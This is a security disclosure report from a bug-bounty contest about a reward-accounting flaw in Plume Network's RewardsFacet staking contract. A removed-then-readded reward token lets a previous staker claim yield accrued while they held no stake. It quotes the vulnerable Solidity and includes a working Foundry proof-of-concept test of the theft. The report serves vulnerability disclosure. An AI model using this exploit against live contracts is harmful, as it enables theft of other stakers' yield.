50519 sc high rewardsfacet reintroducing an old reward token will result in wrong accounting leading to theft of yield

Submitted on Jul 25th 2025 at 16:40:46 UTC by @max10afternoon for Attackathon | Plume Network

  • Report ID: #50519

  • Report Type: Smart Contract

  • Report severity: High

  • Target: https://github.com/immunefi-team/attackathon-plume-network/blob/main/plume/src/facets/RewardsFacet.sol

  • Impacts:

    • Theft of unclaimed yield

Description

Brief/Intro

Reintroducing an old reward token will result in wrong accounting, leading to theft of yield.

NB. Notes on access control and limitations will be addressed in the "Access control & limitations" section of the report

Vulnerability Details

When staking on an empty account, only the userValidatorRewardPerTokenPaid, userValidatorRewardPerTokenPaidTimestamp and validatorRewardPerTokenCumulative variable of currently available reward tokens will be upgraded, and not the historical ones, as can be seen by the two functions involved _initializeRewardStateForNewStake and updateRewardPerTokenForValidator

    function _initializeRewardStateForNewStake(address user, uint16 validatorId) internal {
        PlumeStakingStorage.Layout storage $ = PlumeStakingStorage.layout();

        $.userValidatorStakeStartTime[user][validatorId] = block.timestamp;

        address[] memory rewardTokens = $.rewardTokens;
        for (uint256 i = 0; i < rewardTokens.length; i++) {
            address token = rewardTokens[i];
            if ($.isRewardToken[token]) {
                PlumeRewardLogic.updateRewardPerTokenForValidator($, token, validatorId);

                $.userValidatorRewardPerTokenPaid[user][validatorId][token] =
                    $.validatorRewardPerTokenCumulative[validatorId][token];
                $.userValidatorRewardPerTokenPaidTimestamp[user][validatorId][token] = block.timestamp;
            }
        }
    }
function updateRewardPerTokenForValidator(
        PlumeStakingStorage.Layout storage $,
        address token,
        uint16 validatorId
    ) internal {
        PlumeStakingStorage.ValidatorInfo storage validator = $.validators[validatorId]; // Get validator info

        // --- REORDERED SLASHED/INACTIVE CHECKS ---
        // Check for slashed state FIRST since slashed validators are also inactive
        if (validator.slashed) {
            // For slashed validators, no further rewards or commission accrue.
            // We just update the timestamp to the current time to mark that the state is "settled" up to now.
            $.validatorLastUpdateTimes[validatorId][token] = block.timestamp;

            // Add a defensive check: A slashed validator should never have any stake. If it does, something is
            // wrong with the slashing logic itself.
            if ($.validatorTotalStaked[validatorId] > 0) {
                revert InternalInconsistency("Slashed validator has non-zero totalStaked");
            }
            return;
        } else if (!validator.active) {
            // For inactive (but not slashed) validators, no further rewards or commission accrue.
            // We just update the timestamp to the current time to mark that the state is "settled" up to now.
            $.validatorLastUpdateTimes[validatorId][token] = block.timestamp;
            return;
        }
        // --- END REORDERED CHECKS ---

        uint256 totalStaked = $.validatorTotalStaked[validatorId];
        uint256 oldLastUpdateTime = $.validatorLastUpdateTimes[validatorId][token];

        if (block.timestamp > oldLastUpdateTime) {
            if (totalStaked > 0) {
                uint256 timeDelta = block.timestamp - oldLastUpdateTime;
                // Get the reward rate effective for the segment ending at block.timestamp
                PlumeStakingStorage.RateCheckpoint memory effectiveRewardRateChk =
                    getEffectiveRewardRateAt($, token, validatorId, block.timestamp);
                uint256 effectiveRewardRate = effectiveRewardRateChk.rate;

                if (effectiveRewardRate > 0) {
                    uint256 rewardPerTokenIncrease = timeDelta * effectiveRewardRate;
                    $.validatorRewardPerTokenCumulative[validatorId][token] += rewardPerTokenIncrease;

                    // Accrue commission for the validator for this segment
                    // The commission rate should be the one effective at the START of this segment (oldLastUpdateTime)
                    uint256 commissionRateForSegment = getEffectiveCommissionRateAt($, validatorId, oldLastUpdateTime);
                    uint256 grossRewardForValidatorThisSegment =
                        (totalStaked * rewardPerTokenIncrease) / PlumeStakingStorage.REWARD_PRECISION;

                    // Use regular division (floor) for validator's accrued commission
                    uint256 commissionDeltaForValidator = (
                        grossRewardForValidatorThisSegment * commissionRateForSegment
                    ) / PlumeStakingStorage.REWARD_PRECISION;

                    if (commissionDeltaForValidator > 0) {
                        $.validatorAccruedCommission[validatorId][token] += commissionDeltaForValidator;
                    }
                }
            }
        }
        // Update last global update time for this validator/token AFTER all calculations for the segment
        $.validatorLastUpdateTimes[validatorId][token] = block.timestamp;
    }

The validatorRewardPerTokenCumulative variable in particular will be update in updateRewardPerTokenForValidator, whenever updating the rewards for a particular token validator couple.

This two things combined will result in an incorrect reward distribution: in fact, if a user stakes after the reward token has been removed, their userValidatorRewardPerTokenPaidTimestamp variable will not be updated, while the token validator couple will still hold the old validatorRewardPerTokenCumulative variable. This means that if they claim after the reward tokens gets reintroduced, the user will receive all the rewards belonging to the check points, between their last complete unstake and the token removal, accruing rewards that happened after a full unstake, resulting in a theft of yield (this can be done maliciously or by accident).

Access control & limitations

In order for this to be possible the user must have staked some amount of tokens in the past with the validator, it is NOT necessary for the user to hold those stake assets at the time of the attack or to leave them in the contract for more than one block, as the stake action must be performed on an empty stakeInfo, it's just necessary for the userValidatorRewardPerTokenPaidTimestamp variable to be different than 0 to avoid a safety check in _calculateRewardsCore.

Although adding and removing reward tokens is an administrative action, the issue will NOT arise form a reckless or malicious behavior by the admins, but will also happen under a regular and safe use of the contract and administrative privileges. This is highlighted by the fact that the the addRewardToken functions has safety checks dedicated to the possibility of reintroducing a reward token

        // Prevent re-adding a token in the same block it was removed to avoid checkpoint overwrites.
        if ($.tokenRemovalTimestamps[token] == block.timestamp) {
            revert CannotReAddTokenInSameBlock(token);
        }

Also this report concerns the action that a PERMISSIONLESS user can do around a privileged action maliciously (by frontrunning it) or by accident.

The issue will arise only if there are existing legacy check points. Although it exist a functionality to remove such checkpoints, this will not always be usable as it can lead to user's rewards being permanently frozen in the contract or until an update, leading to an issue of equivalent severity (Temporary freezing of funds for at least 24 hours), as any rewards that haven't been computed yet by users, belonging to such checkpoints will be lost (as highlighted in multiple comments of similar functions, and the function it self).

Impact Details

Theft of unclaimed yield: A user will be able to get access to the yield generated from all the legacy checkpoints, that were active while they had 0 assets staked in the contract, resulting in a theft of yield.

Proof of Concept

As highlighted in the 'Access control & limitations' section this report is focused on the interaction that a permissionless user can have with a safe and reasonable use of administrative functions. Therefor the coded PoC will make use of such functions, that does not mean that privileged access is required to exploit the issue.

To run the script copy it inside the /attackathon-plume-network/plume/test folder

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.25;

import { StdCheats } from "forge-std/StdCheats.sol";
import { Test, console2 } from "forge-std/Test.sol";

// Diamond Proxy & Storage
import { PlumeStaking } from "../src/PlumeStaking.sol";
import { PlumeStakingStorage } from "../src/lib/PlumeStakingStorage.sol";

// Custom Facet Contracts
import { AccessControlFacet } from "../src/facets/AccessControlFacet.sol";
import { ManagementFacet } from "../src/facets/ManagementFacet.sol";
import { RewardsFacet } from "../src/facets/RewardsFacet.sol";
import { StakingFacet } from "../src/facets/StakingFacet.sol";
import { ValidatorFacet } from "../src/facets/ValidatorFacet.sol";
import { IAccessControl } from "../src/interfaces/IAccessControl.sol";
import { IPlumeStakingRewardTreasury } from "../src/interfaces/IPlumeStakingRewardTreasury.sol";

// SolidState Diamond Interface & Cut Interface
import { IERC2535DiamondCutInternal } from "@solidstate/interfaces/IERC2535DiamondCutInternal.sol";
import { ISolidStateDiamond } from "@solidstate/proxy/diamond/ISolidStateDiamond.sol";

// Libs & Errors/Events
import { NoRewardsToRestake, NotValidatorAdmin, Unauthorized } from "../src/lib/PlumeErrors.sol";
import "../src/lib/PlumeErrors.sol";
import "../src/lib/PlumeEvents.sol";

import { PlumeRewardLogic } from "../src/lib/PlumeRewardLogic.sol";
import { PlumeRoles } from "../src/lib/PlumeRoles.sol"; // Needed for REWARD_PRECISION

// OZ Contracts
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";

// Treasury Proxy
import { PlumeStakingRewardTreasury } from "../src/PlumeStakingRewardTreasury.sol";
import { PlumeStakingRewardTreasuryProxy } from "../src/proxy/PlumeStakingRewardTreasuryProxy.sol";

contract PlumeStakingStressTest is Test {


    address public user1;
    address public user2;
    address public user3;
    address public user4;
    address public admin;
    address public alice;
    address public bob;
    address public charlie;
    address public dave;
    address public validatorAdmin;

    // Diamond Proxy Address
    PlumeStaking internal diamondProxy;
    PlumeStakingRewardTreasury public treasury;

    // Addresses
    address public constant ADMIN_ADDRESS = 0xC0A7a3AD0e5A53cEF42AB622381D0b27969c4ab5;
    address payable public constant PLUME_NATIVE = payable(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); // Payable for
    // treasury funding


    // Constants
    uint256 public constant MIN_STAKE = 1e17; // 0.1 PLUME for stress testing
    uint256 public constant INITIAL_COOLDOWN = 7 days; // Keep real cooldown
    uint16 public constant NUM_VALIDATORS = 15;
    uint256 public constant VALIDATOR_COMMISSION = 0.005 * 1e18; // 0.5% scaled by 1e18
    // Approx 5% APR for PLUME rewards per second = (0.05 * 1e18) / (365 days * 24 hours * 60 mins * 60 secs)
    uint256 public constant PLUME_REWARD_RATE_PER_SECOND = 1_585_489_599; // ~5% APR (5e16 / 31536000)

    // Test parameters
    uint256 constant MAX_RANDOM_STAKE_AMOUNT = 5 ether; // Max amount for a single random stake action
    uint256 constant TEST_STAKER_INITIAL_BALANCE = 100 ether; // Ensure test staker has plenty of funds
    uint256 constant GAS_TEST_NUM_ACTIONS = 100; // Number of actions to measure gas for

    // Cost calculation parameters (adjust as needed)
    uint256 constant ETH_PRICE_USD = 3500; // Example ETH price
    uint256 constant L2_GAS_PRICE_GWEI = 0.001 * 1e9; // Example L2 gas price (0.001 Gwei) - SCALE BY 1e9 for wei

    // Unique address for the staker whose actions we measure
    address constant TEST_STAKER = address(0xBADBADBAD);

    function setUp() public {
        console2.log("Starting Stress Test setup");

        admin = ADMIN_ADDRESS;
        vm.deal(admin, 10_000 ether); // Ensure admin has funds

        vm.startPrank(admin);

        // 1. Deploy Diamond Proxy
        diamondProxy = new PlumeStaking();
        assertEq(
            ISolidStateDiamond(payable(address(diamondProxy))).owner(), admin, "Deployer should be owner initially"
        );

        // 2. Deploy Custom Facets
        AccessControlFacet accessControlFacet = new AccessControlFacet();
        StakingFacet stakingFacet = new StakingFacet();
        RewardsFacet rewardsFacet = new RewardsFacet();
        ValidatorFacet validatorFacet = new ValidatorFacet();
        ManagementFacet managementFacet = new ManagementFacet();

        // 3. Prepare Diamond Cut
        IERC2535DiamondCutInternal.FacetCut[] memory cut = new IERC2535DiamondCutInternal.FacetCut[](5);

        // --- Get Selectors (using helper or manual list) ---
        bytes4[] memory accessControlSigs = new bytes4[](7);
        accessControlSigs[0] = AccessControlFacet.initializeAccessControl.selector;
        accessControlSigs[1] = IAccessControl.hasRole.selector;
        accessControlSigs[2] = IAccessControl.getRoleAdmin.selector;
        accessControlSigs[3] = IAccessControl.grantRole.selector;
        accessControlSigs[4] = IAccessControl.revokeRole.selector;
        accessControlSigs[5] = IAccessControl.renounceRole.selector;
        accessControlSigs[6] = IAccessControl.setRoleAdmin.selector;

        bytes4[] memory stakingSigs = new bytes4[](13);
        stakingSigs[0] = StakingFacet.stake.selector;
        stakingSigs[1] = StakingFacet.restake.selector;
        stakingSigs[2] = bytes4(keccak256("unstake(uint16)"));
        stakingSigs[3] = bytes4(keccak256("unstake(uint16,uint256)"));
        stakingSigs[4] = StakingFacet.withdraw.selector;
        stakingSigs[5] = StakingFacet.stakeOnBehalf.selector;
        stakingSigs[6] = StakingFacet.stakeInfo.selector;
        stakingSigs[7] = StakingFacet.amountStaked.selector;
        stakingSigs[8] = StakingFacet.amountCooling.selector;
        stakingSigs[9] = StakingFacet.amountWithdrawable.selector;
        //stakingSigs[10] = StakingFacet.cooldownEndDate.selector;
        stakingSigs[10] = StakingFacet.getUserValidatorStake.selector;
        stakingSigs[11] = StakingFacet.restakeRewards.selector;
        stakingSigs[12] = StakingFacet.totalAmountStaked.selector;

        bytes4[] memory rewardsSigs = new bytes4[](15);
        rewardsSigs[0] = RewardsFacet.addRewardToken.selector;
        rewardsSigs[1] = RewardsFacet.removeRewardToken.selector;
        rewardsSigs[2] = RewardsFacet.setRewardRates.selector;
        rewardsSigs[3] = RewardsFacet.setMaxRewardRate.selector;
        rewardsSigs[4] = bytes4(keccak256("claim(address)"));
        rewardsSigs[5] = bytes4(keccak256("claim(address,uint16)"));
        rewardsSigs[6] = RewardsFacet.claimAll.selector;
        rewardsSigs[7] = RewardsFacet.earned.selector;
        rewardsSigs[8] = RewardsFacet.getClaimableReward.selector;
        rewardsSigs[9] = RewardsFacet.getRewardTokens.selector;
        rewardsSigs[10] = RewardsFacet.getMaxRewardRate.selector;
        rewardsSigs[11] = RewardsFacet.tokenRewardInfo.selector;
        rewardsSigs[12] = RewardsFacet.setTreasury.selector;
        rewardsSigs[13] = RewardsFacet.getPendingRewardForValidator.selector;

        bytes4[] memory validatorSigs = new bytes4[](14);
        validatorSigs[0] = ValidatorFacet.addValidator.selector;
        validatorSigs[1] = ValidatorFacet.setValidatorCapacity.selector;
        validatorSigs[2] = ValidatorFacet.setValidatorCommission.selector;
        validatorSigs[3] = ValidatorFacet.setValidatorAddresses.selector;
        validatorSigs[4] = ValidatorFacet.setValidatorStatus.selector;
        validatorSigs[5] = ValidatorFacet.getValidatorInfo.selector;
        validatorSigs[6] = ValidatorFacet.getValidatorStats.selector;
        validatorSigs[7] = ValidatorFacet.getUserValidators.selector;
        validatorSigs[8] = ValidatorFacet.getAccruedCommission.selector;
        validatorSigs[9] = ValidatorFacet.getValidatorsList.selector;
        validatorSigs[10] = ValidatorFacet.getActiveValidatorCount.selector;
        validatorSigs[11] = ValidatorFacet.requestCommissionClaim.selector;
        validatorSigs[12] = ValidatorFacet.voteToSlashValidator.selector;
        validatorSigs[13] = ValidatorFacet.slashValidator.selector;

        bytes4[] memory managementSigs = new bytes4[](6); // Size reduced from 7 to 6
        managementSigs[0] = ManagementFacet.setMinStakeAmount.selector;
        managementSigs[1] = ManagementFacet.setCooldownInterval.selector;
        managementSigs[2] = ManagementFacet.adminWithdraw.selector;
        managementSigs[3] = ManagementFacet.getMinStakeAmount.selector; // Index shifted from 4
        managementSigs[4] = ManagementFacet.getCooldownInterval.selector; // Index shifted from 5
        managementSigs[5] = ManagementFacet.setMaxSlashVoteDuration.selector; // Index shifted from 6

        // Define the Facet Cuts
        cut[0] = IERC2535DiamondCutInternal.FacetCut({
            target: address(accessControlFacet),
            action: IERC2535DiamondCutInternal.FacetCutAction.ADD,
            selectors: accessControlSigs
        });
        cut[1] = IERC2535DiamondCutInternal.FacetCut({
            target: address(managementFacet),
            action: IERC2535DiamondCutInternal.FacetCutAction.ADD,
            selectors: managementSigs
        });
        cut[2] = IERC2535DiamondCutInternal.FacetCut({
            target: address(stakingFacet),
            action: IERC2535DiamondCutInternal.FacetCutAction.ADD,
            selectors: stakingSigs
        });
        cut[3] = IERC2535DiamondCutInternal.FacetCut({
            target: address(validatorFacet),
            action: IERC2535DiamondCutInternal.FacetCutAction.ADD,
            selectors: validatorSigs
        });
        cut[4] = IERC2535DiamondCutInternal.FacetCut({
            target: address(rewardsFacet),
            action: IERC2535DiamondCutInternal.FacetCutAction.ADD,
            selectors: rewardsSigs
        });

        // 4. Execute Diamond Cut
        ISolidStateDiamond(payable(address(diamondProxy))).diamondCut(cut, address(0), "");
        console2.log("Diamond cut applied.");

        // 5. Initialize
        diamondProxy.initializePlume(
            address(0),
            MIN_STAKE,
            INITIAL_COOLDOWN,
            1 days, // maxSlashVoteDuration
            50e16 // maxAllowedValidatorCommission (50%)
        );
        AccessControlFacet(address(diamondProxy)).initializeAccessControl();
        AccessControlFacet(address(diamondProxy)).grantRole(PlumeRoles.ADMIN_ROLE, admin);
        AccessControlFacet(address(diamondProxy)).grantRole(PlumeRoles.VALIDATOR_ROLE, admin);
        AccessControlFacet(address(diamondProxy)).grantRole(PlumeRoles.REWARD_MANAGER_ROLE, admin); // Grant reward
            // manager
        AccessControlFacet(address(diamondProxy)).grantRole(PlumeRoles.TIMELOCK_ROLE, admin);
        console2.log("Diamond initialized.");

        // 6. Deploy and setup reward treasury
        PlumeStakingRewardTreasury treasuryImpl = new PlumeStakingRewardTreasury();
        bytes memory initData =
            abi.encodeWithSelector(PlumeStakingRewardTreasury.initialize.selector, admin, address(diamondProxy));
        PlumeStakingRewardTreasuryProxy treasuryProxy =
            new PlumeStakingRewardTreasuryProxy(address(treasuryImpl), initData);
        treasury = PlumeStakingRewardTreasury(payable(address(treasuryProxy)));
        RewardsFacet(address(diamondProxy)).setTreasury(address(treasury));
        console2.log("Treasury deployed and set.");



        // 7. Setup Validators (15)
        uint256 defaultMaxCapacity = 1_000_000_000 ether; // High capacity
        for (uint16 i = 0; i < NUM_VALIDATORS; i++) {
            address valAdmin = vm.addr(uint256(keccak256(abi.encodePacked("validatorAdmin", i))));
            vm.deal(valAdmin, 1 ether); // Give admin some gas money
            ValidatorFacet(address(diamondProxy)).addValidator(
                i,
                VALIDATOR_COMMISSION,
                valAdmin, // Use unique admin
                valAdmin, // Use same address for withdraw for simplicity
                string(abi.encodePacked("l1val", i)),
                string(abi.encodePacked("l1acc", i)),
                vm.addr(uint256(keccak256(abi.encodePacked("l1evm", i)))),
                defaultMaxCapacity
            );
        }
        console2.log("%d validators added.", NUM_VALIDATORS);


        // 8. Add PLUME_NATIVE as the only reward token
        RewardsFacet(address(diamondProxy)).addRewardToken(PLUME_NATIVE, PLUME_REWARD_RATE_PER_SECOND, PLUME_REWARD_RATE_PER_SECOND*2);
        treasury.addRewardToken(PLUME_NATIVE); // Also add to treasury allowed list
        vm.deal(address(treasury), 1_000_000 ether); // Give treasury a large amount of native ETH for rewards
        console2.log("PLUME_NATIVE reward token added and treasury funded.");

        // 9. Set reward rates for PLUME_NATIVE
        address[] memory rewardTokens = new address[](1);
        rewardTokens[0] = PLUME_NATIVE;
        uint256[] memory rates = new uint256[](1);
        rates[0] = PLUME_REWARD_RATE_PER_SECOND;
        // Set Max Rate slightly higher just in case
        RewardsFacet(address(diamondProxy)).setMaxRewardRate(PLUME_NATIVE, PLUME_REWARD_RATE_PER_SECOND * 2);
        RewardsFacet(address(diamondProxy)).setRewardRates(rewardTokens, rates);
        
        console2.log("PLUME reward rate set.");

        vm.stopPrank();
        console2.log("Stress Test setup complete.");



        user1 = makeAddr("user1");
        user2 = makeAddr("user2");
        user3 = makeAddr("user3");
        user4 = makeAddr("user4");

        alice = makeAddr("alice");
        bob = makeAddr("bob");
        charlie = makeAddr("charlie");
        dave = makeAddr("dave");

        // Fund users with ETH in setUp
        uint256 ethAmount = 1000 ether;
        vm.deal(user1, ethAmount);
        vm.deal(user2, ethAmount);
        vm.deal(user3, ethAmount);
        vm.deal(user4, ethAmount);
        vm.deal(validatorAdmin, ethAmount);

    }


 
    function testRewardToken() public {
        uint256 amount = 100e18;


    //1: USER2 STAKES AND UNSTAKES AT TIME 0 SETTING userValidatorRewardPerTokenPaidTimestamp TO A VALUE DIFFERENT THAN 0
        vm.startPrank(user2);
    
        //Stake
        StakingFacet(address(diamondProxy)).stake{value: MIN_STAKE}( 0);

        // Unstake
        StakingFacet(address(diamondProxy)).unstake(0);

        //User withdraws, but it's not necessary for this particular PoC

        //User2 has nothing staked in the contract
        assertEq(StakingFacet(address(diamondProxy)).totalAmountStaked(), 0);

        vm.stopPrank();

     
        vm.startPrank(user1);
        

    //2: USER1 STAKES AND CLAIM AFTER 7 DAYS, USED JUST FOR REFERENCE
        StakingFacet(address(diamondProxy)).stake{value: amount}(
            0
        );

       
        vm.warp(block.timestamp + INITIAL_COOLDOWN );

        uint256 balanceBefore = user1.balance;
        RewardsFacet(address(diamondProxy)).claim(PLUME_NATIVE);
        uint256 balanceAfter = user1.balance;

        uint256 rewardAccumulatedByUser1AfterOneWeek = balanceAfter - balanceBefore;

        vm.stopPrank();




    //3: ADMIN SAFELY REMOVES THE TOKEN AS REWARD
        vm.prank(admin);
        RewardsFacet(address(diamondProxy)).removeRewardToken(PLUME_NATIVE);


        vm.warp(block.timestamp + INITIAL_COOLDOWN );


    //4: ADMIN SAFELY REINTRODUCES THE TOKEN AFTER SOME TIMES, ALLOWING USER2 TO STEAL YIELD 
        vm.startPrank(user2);
        
        uint256 timeOfStake = block.timestamp;       
        StakingFacet(address(diamondProxy)).stake{value: amount}(
            0
        );
        vm.stopPrank();

        vm.prank(admin);
        RewardsFacet(address(diamondProxy)).addRewardToken(PLUME_NATIVE, PLUME_REWARD_RATE_PER_SECOND, PLUME_REWARD_RATE_PER_SECOND*2);


        vm.startPrank(user2);
        
        uint256 timeOfclaim = block.timestamp; 
        balanceBefore = user2.balance;
        RewardsFacet(address(diamondProxy)).claim(PLUME_NATIVE);
        balanceAfter = user2.balance;

        uint256 rewardAccumulatedByUser2AfterZeroSeconds = balanceAfter - balanceBefore;

        vm.stopPrank();

    //5: AFTER 0 SECONDS USER2 WAS ABLE TO ACCUMULATE 1 WEEK WORTH OF REWARDS
        assertEq(timeOfStake, timeOfclaim);
        assertEq(rewardAccumulatedByUser2AfterZeroSeconds, rewardAccumulatedByUser1AfterOneWeek);
    }


} // End Contract

Was this helpful?